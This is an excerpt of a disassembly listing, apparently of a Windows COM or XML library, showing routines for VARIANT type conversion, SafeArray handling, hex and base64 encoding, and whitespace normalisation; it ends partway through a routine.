loc_69B30844: ; CODE XREF: sub_69B3078B+4Aj
; sub_69B3078B+82j ...
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop edi
pop esi
pop ebx
call sub_69B1B9F6
leave
retn 0Ch
sub_69B3078B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B30856(LPCWSTR strIn, ULONG cElements, int, int, int, VARIANTARG *pvar, int, int)
sub_69B30856 proc near ; CODE XREF: sub_69B2CFAA+E3p
; sub_69B30C4F+D2p ...
strIn = dword ptr 8
cElements = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
pvar = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
cmp [ebp+cElements], 0
push ebx
push esi
mov esi, [ebp+strIn]
push edi
jnz short loc_69B3086F
push esi ; lpString
call ds:lstrlenW ; lstrlenW
mov [ebp+cElements], eax
loc_69B3086F: ; CODE XREF: sub_69B30856+Dj
mov ebx, [ebp+arg_8]
lea eax, [ebx+ebx*2]
shl eax, 2
mov ecx, ds:dword_69B25F10[eax]
test ecx, ecx
jz short loc_69B308F9
push [ebp+arg_18] ; int
mov edi, [ebp+pvar]
mov eax, ds:dword_69B25F0C[eax]
push edi ; pvar
push ecx ; dwVtBits
push eax ; int
push [ebp+cElements] ; int
push esi ; strIn
call sub_69B2FCFF
mov esi, eax
test esi, esi
jnz loc_69B30990
cmp ebx, 0Eh
jnz short loc_69B308D9
mov ax, [edi+8]
cmp ax, 1
jg short loc_69B308CF
test ax, ax
jl short loc_69B308CF
xor ecx, ecx
test ax, ax
setle cl
mov word ptr [edi], 0Bh
dec ecx
mov [edi+8], cx
jmp loc_69B30997
; ---------------------------------------------------------------------------
loc_69B308CF: ; CODE XREF: sub_69B30856+5Bj
; sub_69B30856+60j
mov esi, 80004005h
jmp loc_69B30997
; ---------------------------------------------------------------------------
loc_69B308D9: ; CODE XREF: sub_69B30856+51j
cmp ebx, 1Ch
jnz loc_69B30997
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+cElements]
push 0
call sub_69B303F8
mov esi, eax
jmp loc_69B30997
; ---------------------------------------------------------------------------
loc_69B308F9: ; CODE XREF: sub_69B30856+2Aj
cmp ebx, 24h
jz short loc_69B30979
cmp ebx, 1Ah
jz short loc_69B30979
push [ebp+cElements]
call sub_69B1D897
cmp ebx, 0Dh
mov edi, eax
jnz short loc_69B30925
push [ebp+arg_18]
lea eax, [ebp+cElements]
push eax
push edi
push [ebp+cElements]
push esi
call sub_69B2FBDE
jmp short loc_69B3093B
; ---------------------------------------------------------------------------
loc_69B30925: ; CODE XREF: sub_69B30856+BAj
cmp ebx, 0Ch
jnz short loc_69B3093F
push [ebp+arg_18]
lea eax, [ebp+cElements]
push eax
push edi
push [ebp+cElements]
push esi
call sub_69B3065C
loc_69B3093B: ; CODE XREF: sub_69B30856+CDj
mov esi, eax
jmp short loc_69B30942
; ---------------------------------------------------------------------------
loc_69B3093F: ; CODE XREF: sub_69B30856+D2j
mov esi, [ebp+cElements]
loc_69B30942: ; CODE XREF: sub_69B30856+E7j
test esi, esi
jnz short loc_69B30971
push [ebp+arg_10]
mov ebx, [ebp+cElements]
push [ebp+arg_C]
push ebx
push esi
call sub_69B303F8
mov esi, eax
test esi, esi
jnz short loc_69B30971
mov eax, [ebp+arg_1C]
test eax, eax
jz short loc_69B30965
mov [eax], ebx
loc_69B30965: ; CODE XREF: sub_69B30856+10Bj
push ebx ; cElements
push edi ; int
push [ebp+pvar] ; int
call sub_69B2FC8D
mov esi, eax
loc_69B30971: ; CODE XREF: sub_69B30856+EEj
; sub_69B30856+104j
push edi
call sub_69B1B2B7
jmp short loc_69B30997
; ---------------------------------------------------------------------------
loc_69B30979: ; CODE XREF: sub_69B30856+A6j
; sub_69B30856+ABj
push [ebp+arg_18]
mov edi, [ebp+pvar]
push edi
push ebx
push [ebp+cElements]
push esi
call sub_69B2FD9A
mov esi, eax
test esi, esi
jz short loc_69B30997
loc_69B30990: ; CODE XREF: sub_69B30856+48j
push edi ; pvarg
call VariantClear
loc_69B30997: ; CODE XREF: sub_69B30856+74j
; sub_69B30856+7Ej ...
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 20h
sub_69B30856 endp
; =============== S U B R O U T I N E =======================================
sub_69B309A0 proc near ; CODE XREF: sub_69B30E5D+F6p
push 10h
push offset dword_69B30A68
call sub_69B19C5C
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
lea ebx, [esi+esi]
and dword ptr [ebp-1Ch], 0
lea eax, [ebx+ebx]
push eax
call sub_69B11E44
mov [ebp-20h], eax
test eax, eax
jnz short loc_69B309D3
mov eax, 8007000Eh
jmp loc_69B30A5A
; ---------------------------------------------------------------------------
loc_69B309D3: ; CODE XREF: sub_69B309A0+27j
test esi, esi
jz short loc_69B30A14
push 2
pop edx
loc_69B309DA: ; CODE XREF: sub_69B309A0+72j
mov cl, [edi]
shr cl, 4
cmp cl, 9
movzx cx, cl
jbe short loc_69B309ED
add ecx, 57h
jmp short loc_69B309F0
; ---------------------------------------------------------------------------
loc_69B309ED: ; CODE XREF: sub_69B309A0+46j
add ecx, 30h
loc_69B309F0: ; CODE XREF: sub_69B309A0+4Bj
mov [eax], cx
add eax, edx
mov cl, [edi]
and cl, 0Fh
cmp cl, 9
movzx cx, cl
jbe short loc_69B30A08
add ecx, 57h
jmp short loc_69B30A0B
; ---------------------------------------------------------------------------
loc_69B30A08: ; CODE XREF: sub_69B309A0+61j
add ecx, 30h
loc_69B30A0B: ; CODE XREF: sub_69B309A0+66j
mov [eax], cx
add eax, edx
inc edi
dec esi
jnz short loc_69B309DA
loc_69B30A14: ; CODE XREF: sub_69B309A0+35j
and dword ptr [ebp-4], 0
push ebx
push 0
push dword ptr [ebp-20h]
call sub_69B190A9
mov ecx, [ebp+8]
mov [ecx], eax
jmp short loc_69B30A4B
; ---------------------------------------------------------------------------
loc_69B30A2A: ; DATA XREF: .text:69B30A6Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B30A33: ; DATA XREF: .text:69B30A70o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-1Ch], eax
mov eax, [ebp+8]
and dword ptr [eax], 0
loc_69B30A4B: ; CODE XREF: sub_69B309A0+88j
or dword ptr [ebp-4], 0FFFFFFFFh
push dword ptr [ebp-20h]
call sub_69B1B2B7
mov eax, [ebp-1Ch]
loc_69B30A5A: ; CODE XREF: sub_69B309A0+2Ej
call sub_69B1853C
retn 0Ch
sub_69B309A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B30A68 dd 0FFFFFFFFh dd offset loc_69B30A2A
dd offset loc_69B30A33
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B30A74 proc near ; CODE XREF: sub_69B30E5D+10Cp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
lpString = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov [eax], edi
push 36h
lea eax, [ebx+3]
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edi
imul eax, 128h
add eax, 254h
push eax
call sub_69B11E44
mov esi, [ebp+arg_0]
mov ecx, eax
cmp ecx, edi
mov [ebp+lpString], ecx
mov [ebp+arg_0], edi
jnz short loc_69B30ABF
mov [ebp+var_C], 8007000Eh
jmp loc_69B30C45
; ---------------------------------------------------------------------------
loc_69B30ABF: ; CODE XREF: sub_69B30A74+3Dj
cmp ebx, 3
push 2
pop edi
jl loc_69B30B7A
mov eax, ebx
xor edx, edx
push 3
pop ebx
div ebx
mov [ebp+var_4], eax
lea eax, [eax+eax*2]
mov edx, eax
mov eax, [ebp+arg_4]
sub eax, edx
mov [ebp+var_10], eax
loc_69B30AE4: ; CODE XREF: sub_69B30A74+FDj
mov al, [esi+1]
mov dl, [esi]
mov bl, al
shr bl, 4
and dl, 3
shl dl, 4
or dl, bl
and al, 0Fh
mov byte ptr [ebp+arg_4+3], dl
mov dl, [esi+2]
shl al, 2
mov bl, dl
shr bl, 6
or al, bl
movzx ebx, byte ptr [esi]
add [ebp+arg_0], 4
shr ebx, 2
mov bx, word ptr ds:aAbcdefghijklmn[ebx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
mov [ecx], bx
movzx ebx, byte ptr [ebp+arg_4+3]
mov bx, word ptr ds:aAbcdefghijklmn[ebx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
add ecx, edi
mov [ecx], bx
movzx eax, al
mov ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
add ecx, edi
mov [ecx], ax
and dl, 3Fh
movzx eax, dl
mov ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
add ecx, edi
mov [ecx], ax
add ecx, edi
add esi, 3
cmp [ebp+arg_0], 48h
jl short loc_69B30B6E
mov word ptr [ecx], 0Dh
add ecx, edi
mov word ptr [ecx], 0Ah
add ecx, edi
and [ebp+arg_0], 0
loc_69B30B6E: ; CODE XREF: sub_69B30A74+E6j
dec [ebp+var_4]
jnz loc_69B30AE4
mov ebx, [ebp+var_10]
loc_69B30B7A: ; CODE XREF: sub_69B30A74+51j
mov eax, [ebp+arg_0]
add eax, 4
cmp eax, 48h
jl short loc_69B30B93
mov word ptr [ecx], 0Dh
add ecx, edi
mov word ptr [ecx], 0Ah
add ecx, edi
loc_69B30B93: ; CODE XREF: sub_69B30A74+10Fj
test ebx, ebx
jz loc_69B30C2C
cmp ebx, 1
jnz short loc_69B30BD3
mov dl, [esi]
mov al, dl
and al, 3
movzx edx, dl
shl al, 4
shr edx, 2
mov dx, word ptr ds:aAbcdefghijklmn[edx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
mov [ecx], dx
movzx eax, al
mov ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
add ecx, edi
mov [ecx], ax
add ecx, edi
mov word ptr [ecx], 3Dh
jmp short loc_69B30C23
; ---------------------------------------------------------------------------
loc_69B30BD3: ; CODE XREF: sub_69B30A74+12Aj
cmp ebx, edi
jnz short loc_69B30C2C
mov dl, [esi]
mov al, [esi+1]
mov byte ptr [ebp+arg_4+3], dl
movzx esi, byte ptr [ebp+arg_4+3]
and dl, 3
mov bl, al
shl dl, 4
shr bl, 4
or dl, bl
and al, 0Fh
shr esi, 2
mov si, word ptr ds:aAbcdefghijklmn[esi*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
mov [ecx], si
shl al, 2
movzx edx, dl
mov dx, word ptr ds:aAbcdefghijklmn[edx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
add ecx, edi
movzx eax, al
mov [ecx], dx
mov ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
add ecx, edi
mov [ecx], ax
loc_69B30C23: ; CODE XREF: sub_69B30A74+15Dj
add ecx, edi
mov word ptr [ecx], 3Dh
add ecx, edi
loc_69B30C2C: ; CODE XREF: sub_69B30A74+121j
; sub_69B30A74+161j
push [ebp+lpString] ; lpString
and word ptr [ecx], 0
call sub_69B1A587
mov ecx, [ebp+arg_8]
push [ebp+lpString]
mov [ecx], eax
call sub_69B1B2B7
loc_69B30C45: ; CODE XREF: sub_69B30A74+46j
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B30A74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B30C4F(int, int cElements, int, int, int, VARIANTARG *pvar, int, int)
sub_69B30C4F proc near ; CODE XREF: sub_69B30DEE+1Dp
; sub_69B5AA03+2Cp ...
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
cElements = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
pvar = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, dword_69B92170
xor eax, [ebp+4]
mov edx, [ebp+arg_8]
and [ebp+var_8], 0
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+pvar]
lea ebx, [edi+8]
and dword ptr [ebx], 0
test edx, edx
mov [ebp+var_4], eax
mov [ebp+var_C], esi
mov [ebp+arg_0], esi
mov word ptr [edi], 1
jl short loc_69B30C8A
cmp edx, 0Bh
jle short loc_69B30C8F
loc_69B30C8A: ; CODE XREF: sub_69B30C4F+34j
cmp edx, 25h
jnz short loc_69B30CC5
loc_69B30C8F: ; CODE XREF: sub_69B30C4F+39j
mov ecx, [ebp+arg_18]
test ecx, ecx
mov eax, [ebp+cElements]
jz short loc_69B30C9E
lea edi, [esi+eax*2]
mov [ecx], edi
loc_69B30C9E: ; CODE XREF: sub_69B30C4F+48j
mov ecx, [ebp+arg_1C]
test ecx, ecx
jz short loc_69B30CA7
mov [ecx], eax
loc_69B30CA7: ; CODE XREF: sub_69B30C4F+54j
cmp edx, 1
jnz loc_69B30DCC
push [ebp+arg_10]
push [ebp+arg_C]
push eax
push esi
call sub_69B303F8
mov [ebp+var_8], eax
jmp loc_69B30DCC
; ---------------------------------------------------------------------------
loc_69B30CC5: ; CODE XREF: sub_69B30C4F+3Ej
test esi, esi
jz loc_69B30DD1
push [ebp+cElements]
push esi
call sub_69B2FB5A
mov esi, eax
cmp word ptr [esi], 0
jz loc_69B30DD1
cmp [ebp+cElements], 0
jz loc_69B30DD1
sub eax, [ebp+var_C]
mov ecx, [ebp+arg_1C]
sar eax, 1
sub [ebp+cElements], eax
test ecx, ecx
jz short loc_69B30D00
mov eax, [ebp+cElements]
mov [ecx], eax
loc_69B30D00: ; CODE XREF: sub_69B30C4F+AAj
mov eax, [ebp+arg_8]
lea edx, [eax+eax*2]
cmp ds:dword_69B25F0C[edx*4], 0
jz short loc_69B30D2B
push ecx ; int
lea ecx, [ebp+arg_0]
push ecx ; int
push edi ; pvar
push [ebp+arg_10] ; int
push [ebp+arg_C] ; int
push eax ; int
push [ebp+cElements] ; cElements
push esi ; strIn
call sub_69B30856
loc_69B30D26: ; CODE XREF: sub_69B30C4F+108j
mov [ebp+var_8], eax
jmp short loc_69B30D8F
; ---------------------------------------------------------------------------
loc_69B30D2B: ; CODE XREF: sub_69B30C4F+BFj
cmp eax, 0Fh
jz short loc_69B30D7F
jle short loc_69B30D76
cmp eax, 12h
jle short loc_69B30D59
cmp eax, 1Eh
jle short loc_69B30D76
cmp eax, 20h
jle short loc_69B30D59
cmp eax, 26h
jnz short loc_69B30D76
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_1C]
push eax
push [ebp+cElements]
push esi
call sub_69B302A5
jmp short loc_69B30D26
; ---------------------------------------------------------------------------
loc_69B30D59: ; CODE XREF: sub_69B30C4F+E6j
; sub_69B30C4F+F0j
lea ecx, [ebp+arg_0]
push ecx ; int
push ebx ; pdateOut
push eax ; int
push [ebp+cElements] ; int
push esi ; int
call sub_69B2FF1E
test eax, eax
mov [ebp+var_8], eax
jnz short loc_69B30D8F
mov word ptr [edi], 7
jmp short loc_69B30D8F
; ---------------------------------------------------------------------------
loc_69B30D76: ; CODE XREF: sub_69B30C4F+E1j
; sub_69B30C4F+EBj ...
mov [ebp+var_8], 80004005h
jmp short loc_69B30D8F
; ---------------------------------------------------------------------------
loc_69B30D7F: ; CODE XREF: sub_69B30C4F+DFj
mov word ptr [edi], 3
movzx eax, word ptr [esi]
mov [ebx], eax
lea eax, [esi+2]
mov [ebp+arg_0], eax
loc_69B30D8F: ; CODE XREF: sub_69B30C4F+DAj
; sub_69B30C4F+11Ej ...
mov eax, [ebp+arg_18]
test eax, eax
jz short loc_69B30D9D
mov ecx, [ebp+arg_0]
mov [eax], ecx
jmp short loc_69B30DCC
; ---------------------------------------------------------------------------
loc_69B30D9D: ; CODE XREF: sub_69B30C4F+145j
mov eax, [ebp+cElements]
mov edi, [ebp+arg_0]
lea eax, [esi+eax*2]
cmp edi, eax
jnb short loc_69B30DCC
mov eax, edi
sub eax, esi
sar eax, 1
sub [ebp+cElements], eax
push [ebp+cElements]
push edi
call sub_69B2FB5A
sub eax, edi
sar eax, 1
cmp eax, [ebp+cElements]
jge short loc_69B30DCC
mov [ebp+var_8], 80004005h
loc_69B30DCC: ; CODE XREF: sub_69B30C4F+5Bj
; sub_69B30C4F+71j ...
mov eax, [ebp+var_8]
jmp short loc_69B30DDC
; ---------------------------------------------------------------------------
loc_69B30DD1: ; CODE XREF: sub_69B30C4F+78j
; sub_69B30C4F+8Dj ...
mov eax, [ebp+arg_18]
test eax, eax
jz short loc_69B30DDA
mov [eax], esi
loc_69B30DDA: ; CODE XREF: sub_69B30C4F+187j
xor eax, eax
loc_69B30DDC: ; CODE XREF: sub_69B30C4F+180j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop edi
pop esi
pop ebx
call sub_69B1B9F6
leave
retn 20h
sub_69B30C4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B30DEE(int, int cElements, int, int, int, VARIANTARG *pvar, int, int)
sub_69B30DEE proc near ; CODE XREF: sub_69B4858B+9Fp
; sub_69B59EB7+45p ...
arg_0 = dword ptr 8
cElements = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
pvar = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
push [ebp+arg_1C] ; int
mov esi, [ebp+arg_8]
push [ebp+arg_18] ; int
push [ebp+pvar] ; pvar
push [ebp+arg_10] ; int
push [ebp+arg_C] ; int
push esi ; int
push [ebp+cElements] ; cElements
push [ebp+arg_0] ; int
call sub_69B30C4F
test eax, eax
jge short loc_69B30E58
cmp eax, 80004005h
jz short loc_69B30E29
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B30E58
; ---------------------------------------------------------------------------
loc_69B30E29: ; CODE XREF: sub_69B30DEE+2Bj
push edi
push [ebp+cElements]
push [ebp+arg_0]
call sub_69B190C1
mov edi, eax
mov eax, off_69B96390[esi*4]
push 0
push eax ; lpString
call sub_69B1A587
push eax
mov eax, 0C00CE201h
push edi
push eax
push eax
call sub_69B2E9D0
add esp, 14h
pop edi
loc_69B30E58: ; CODE XREF: sub_69B30DEE+24j
; sub_69B30DEE+39j
pop esi
pop ebp
retn 20h
sub_69B30DEE endp
; =============== S U B R O U T I N E =======================================
sub_69B30E5D proc near ; CODE XREF: sub_69B4B801+1Ep
; sub_69B64D43+24p
push 48h
push offset dword_69B31090
call sub_69B19C5C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp-1Ch], eax
xor edi, edi
mov [ebp-20h], edi
mov [ebp-24h], edi
mov [ebp-28h], di
mov [ebp-26h], di
mov word ptr [ebp-38h], 1
mov ebx, [ebp+10h]
cmp ebx, 12h
jg loc_69B30F7B
cmp ebx, 10h
jge loc_69B30FE2
cmp ebx, 0Ch
jl loc_69B30FFB
cmp ebx, 0Dh
jle short loc_69B30EF0
cmp ebx, 0Eh
jz short loc_69B30ECE
cmp ebx, 0Fh
jnz loc_69B30FFB
mov esi, [ebp+0Ch]
mov ax, [esi+8]
mov [ebp-28h], ax
lea eax, [ebp-28h]
jmp loc_69B30FDD
; ---------------------------------------------------------------------------
loc_69B30ECE: ; CODE XREF: sub_69B30E5D+53j
mov esi, [ebp+0Ch]
cmp word ptr [esi+8], 0FFFFh
jnz short loc_69B30EE4
mov dword ptr [ebp-24h], offset dword_69B31088
jmp loc_69B30FFE
; ---------------------------------------------------------------------------
loc_69B30EE4: ; CODE XREF: sub_69B30E5D+79j
mov dword ptr [ebp-24h], offset dword_69B31084
jmp loc_69B30FFE
; ---------------------------------------------------------------------------
loc_69B30EF0: ; CODE XREF: sub_69B30E5D+4Ej
mov [ebp-3Ch], edi
mov esi, [ebp+0Ch]
lea eax, [ebp-40h]
push eax ; plLbound
push 1 ; nDim
push dword ptr [esi+8] ; psa
call SafeArrayGetLBound
mov edi, eax
test edi, edi
jnz loc_69B3105A
lea eax, [ebp-44h]
push eax ; plUbound
push 1 ; nDim
push dword ptr [esi+8] ; psa
call SafeArrayGetUBound
mov edi, eax
test edi, edi
jnz loc_69B3105A
lea eax, [ebp-3Ch]
push eax ; ppvData
push dword ptr [esi+8] ; psa
call SafeArrayAccessData
mov edi, eax
test edi, edi
jnz loc_69B3105A
cmp ebx, 0Dh
jnz short loc_69B30F5A
mov eax, [ebp-44h]
sub eax, [ebp-40h]
inc eax
push eax
push dword ptr [ebp-3Ch]
lea eax, [ebp-20h]
push eax
call sub_69B309A0
jmp short loc_69B30F6E
; ---------------------------------------------------------------------------
loc_69B30F5A: ; CODE XREF: sub_69B30E5D+E5j
lea eax, [ebp-20h]
push eax
mov eax, [ebp-44h]
sub eax, [ebp-40h]
inc eax
push eax
push dword ptr [ebp-3Ch]
call sub_69B30A74
loc_69B30F6E: ; CODE XREF: sub_69B30E5D+FBj
mov edi, eax
push dword ptr [esi+8] ; psa
call SafeArrayUnaccessData
jmp short loc_69B30FF5
; ---------------------------------------------------------------------------
loc_69B30F7B: ; CODE XREF: sub_69B30E5D+33j
cmp ebx, 1Fh
jl short loc_69B30FFB
cmp ebx, 20h
jle short loc_69B30FE2
cmp ebx, 26h
jz short loc_69B30F99
cmp ebx, 27h
jnz short loc_69B30FFB
mov edi, 80004005h
jmp loc_69B3105A
; ---------------------------------------------------------------------------
loc_69B30F99: ; CODE XREF: sub_69B30E5D+12Bj
push 8 ; vt
push 1 ; wFlags
push 409h ; lcid
mov esi, [ebp+0Ch]
push esi ; pvarSrc
lea eax, [ebp-38h]
push eax ; pvargDest
call VariantChangeTypeEx
mov edi, eax
test edi, edi
jnz loc_69B3105A
mov edi, [ebp-30h]
push eax
lea eax, [ebp-54h]
push eax
push edi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push edi
call sub_69B302A5
mov edi, eax
test edi, edi
jnz loc_69B3105A
mov eax, [ebp-30h]
loc_69B30FDD: ; CODE XREF: sub_69B30E5D+6Cj
mov [ebp-24h], eax
jmp short loc_69B30FFE
; ---------------------------------------------------------------------------
loc_69B30FE2: ; CODE XREF: sub_69B30E5D+3Cj
; sub_69B30E5D+126j
mov esi, [ebp+0Ch]
lea eax, [esi+8]
push eax
push ebx
lea eax, [ebp-20h]
push eax
call sub_69B304F3
mov edi, eax
loc_69B30FF5: ; CODE XREF: sub_69B30E5D+11Cj
test edi, edi
jnz short loc_69B3105A
jmp short loc_69B30FFE
; ---------------------------------------------------------------------------
loc_69B30FFB: ; CODE XREF: sub_69B30E5D+45j
; sub_69B30E5D+58j ...
mov esi, [ebp+0Ch]
loc_69B30FFE: ; CODE XREF: sub_69B30E5D+82j
; sub_69B30E5D+8Ej ...
xor eax, eax
mov [ebp-4], eax
cmp [ebp-24h], eax
jz short loc_69B3100D
push dword ptr [ebp-24h]
jmp short loc_69B31032
; ---------------------------------------------------------------------------
loc_69B3100D: ; CODE XREF: sub_69B30E5D+1A9j
cmp [ebp-20h], eax
jnz short loc_69B31056
push 8 ; vt
push 1 ; wFlags
push 409h ; lcid
push esi ; pvarSrc
lea eax, [ebp-38h]
push eax ; pvargDest
call VariantChangeTypeEx
mov edi, eax
mov [ebp-58h], edi
test edi, edi
jnz short loc_69B31056
push dword ptr [ebp-30h] ; lpString
loc_69B31032: ; CODE XREF: sub_69B30E5D+1AEj
call sub_69B1A587
mov [ebp-20h], eax
jmp short loc_69B31056
; ---------------------------------------------------------------------------
loc_69B3103C: ; DATA XREF: .text:69B31094o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B31045: ; DATA XREF: .text:69B31098o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B31056: ; CODE XREF: sub_69B30E5D+1B3j
; sub_69B30E5D+1D0j ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B3105A: ; CODE XREF: sub_69B30E5D+ACj
; sub_69B30E5D+C5j ...
lea eax, [ebp-38h]
push eax ; pvarg
call VariantClear
mov eax, [ebp+8]
mov ecx, [ebp-20h]
mov [eax], ecx
mov eax, edi
mov ecx, [ebp-1Ch]
xor ecx, [ebp+4]
call sub_69B1B9F6
call sub_69B1853C
retn 0Ch
sub_69B30E5D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B31084 dd 30h dword_69B31088 dd 31h, 90909090hdword_69B31090 dd 0FFFFFFFFh dd offset loc_69B3103C
dd offset loc_69B31045
; =============== S U B R O U T I N E =======================================
sub_69B3109C proc near ; CODE XREF: sub_69B3BD45+Bp
; sub_69B48F40+16p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
xor eax, eax
mov esi, ecx
push eax
mov [esi], eax
mov [esi+4], eax
mov [esi+0Ch], al
mov byte ptr [esi+0Dh], 1
call sub_69B190D7
mov [esi+8], eax
pop esi
retn 4
sub_69B3109C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B310BE proc near ; CODE XREF: sub_69B2ECE4+Bp
; sub_69B3128E+15p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov eax, [eax]
test eax, eax
jle locret_69B31191
mov dl, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
neg dl
push edi
mov ecx, ebx
mov edi, ebx
mov [ebp+var_4], eax
sbb edx, edx
and edx, 16h
add edx, 0Ah
mov [ebp+var_C], edx
xor dl, dl
test eax, eax
jle loc_69B3117E
mov [ebp+var_8], eax
loc_69B310FD: ; CODE XREF: sub_69B310BE+A2j
xor eax, eax
mov ax, [edi]
mov [ebp+var_10], eax
movzx eax, ax
sub eax, 9
jz short loc_69B3114D
dec eax
jz short loc_69B3111E
sub eax, 3
jnz short loc_69B31158
loc_69B31115: ; CODE XREF: sub_69B310BE+64j
mov ax, word ptr [ebp+var_C]
mov [edi], ax
jmp short loc_69B31158
; ---------------------------------------------------------------------------
loc_69B3111E: ; CODE XREF: sub_69B310BE+50j
cmp si, 0Dh
jnz short loc_69B31115
mov esi, edi
sub esi, ecx
sar esi, 1
test dl, dl
jz short loc_69B31140
test esi, esi
jz short loc_69B31140
lea eax, [esi+esi]
push eax
push ecx
push ebx
call sub_69B22103
add esp, 0Ch
loc_69B31140: ; CODE XREF: sub_69B310BE+6Ej
; sub_69B310BE+72j
dec [ebp+var_4]
lea ebx, [ebx+esi*2]
lea ecx, [edi+2]
mov dl, 1
jmp short loc_69B31158
; ---------------------------------------------------------------------------
loc_69B3114D: ; CODE XREF: sub_69B310BE+4Dj
cmp [ebp+arg_8], 0
jz short loc_69B31158
mov word ptr [edi], 20h
loc_69B31158: ; CODE XREF: sub_69B310BE+55j
; sub_69B310BE+5Ej ...
mov esi, [ebp+var_10]
inc edi
inc edi
dec [ebp+var_8]
jnz short loc_69B310FD
test dl, dl
jz short loc_69B3117E
cmp ecx, edi
jz short loc_69B3117E
sub edi, ecx
sar edi, 1
jz short loc_69B3117E
lea eax, [edi+edi]
push eax
push ecx
push ebx
call sub_69B22103
add esp, 0Ch
loc_69B3117E: ; CODE XREF: sub_69B310BE+36j
; sub_69B310BE+A6j ...
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
pop edi
mov [ecx], eax
mov ecx, [ebp+arg_0]
and word ptr [ecx+eax*2], 0
pop esi
pop ebx
locret_69B31191: ; CODE XREF: sub_69B310BE+Dj
leave
retn 0Ch
sub_69B310BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B31195 proc near ; CODE XREF: sub_69B4AAFC+141p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push esi
push edi
jle short loc_69B311DF
mov eax, [ebp+arg_0]
xor edi, edi
xor esi, esi
cmp [ebp+arg_4], edi
jle short loc_69B311DF
loc_69B311AC: ; CODE XREF: sub_69B31195+48j
mov dx, [eax]
movzx ecx, dx
sub ecx, 9
jz short loc_69B311CF
dec ecx
jz short loc_69B311C3
sub ecx, 3
loc_69B311BD: ; CODE XREF: sub_69B31195+38j
jnz short loc_69B311D5
loc_69B311BF: ; CODE XREF: sub_69B31195+32j
; sub_69B31195+3Ej
mov al, 1
jmp short loc_69B311E1
; ---------------------------------------------------------------------------
loc_69B311C3: ; CODE XREF: sub_69B31195+23j
cmp [ebp+arg_8], 0
jz short loc_69B311BF
cmp si, 0Dh
jmp short loc_69B311BD
; ---------------------------------------------------------------------------
loc_69B311CF: ; CODE XREF: sub_69B31195+20j
cmp [ebp+arg_8], 0
